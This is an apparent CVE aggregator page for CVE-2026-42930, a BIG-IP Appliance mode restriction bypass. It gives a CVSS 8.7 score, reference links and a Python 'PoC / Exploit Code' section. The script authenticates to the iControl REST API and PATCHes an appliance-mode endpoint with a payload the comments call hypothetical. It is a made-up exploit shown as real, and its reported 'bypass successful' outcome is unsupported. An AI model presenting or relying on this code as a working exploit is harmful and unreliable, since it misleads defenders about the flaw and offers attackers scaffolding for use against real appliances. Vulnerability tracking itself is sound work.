CVE-2026-42930

Description

When running in Appliance mode, an authenticated attacker assigned the 'Administrator' role may be able to bypass Appliance mode restrictions on a BIG-IP system. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score

8.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

具体受影响版本请参考F5官方文章 K000160876

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# This is a conceptual PoC for CVE-2026-42930
# It demonstrates how an authenticated administrator might attempt to bypass Appliance mode restrictions.

target_url = "https://<target-ip>/mgmt/tm/sys/appliance-mode"
login_url = "https://<target-ip>/mgmt/shared/authn/login"
username = "admin"
password = "<password>"

session = requests.Session()
session.verify = False  # Ignore SSL warnings for testing

# Step 1: Authenticate
payload = {
    "username": username,
    "password": password,
    "loginProviderName": "tmos"
}

try:
    resp = session.post(login_url, json=payload)
    token = resp.json().get('token').get('token')
    headers = {"X-F5-Auth-Token": token}
    print("[+] Authentication successful")
except Exception as e:
    print(f"[-] Authentication failed: {e}")
    exit()

# Step 2: Attempt to bypass Appliance Mode restrictions
# In a vulnerable version, specific commands might be executable even if Appliance Mode is 'enabled'
# This payload simulates checking or modifying a restricted setting.
exploit_payload = {
    # Payload to bypass restriction (hypothetical based on vulnerability description)
    "command": "modify",
    "value": "bypassed"
}

try:
    # Sending request to restricted endpoint
    vuln_resp = session.patch(target_url, headers=headers, json=exploit_payload)
    if vuln_resp.status_code == 200:
        print("[!] Potential bypass successful! Restriction may have been circumvented.")
        print(f"Response: {vuln_resp.text}")
    else:
        print(f"[-] Request blocked or failed. Status: {vuln_resp.status_code}")
except Exception as e:
    print(f"[-] Exploit attempt failed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42930
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42930
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42930/
[4] VulDB https://vuldb.com/cve/CVE-2026-42930
[5] https://my.f5.com/manage/s/article/K000160876

Raw JSON Data

JSON

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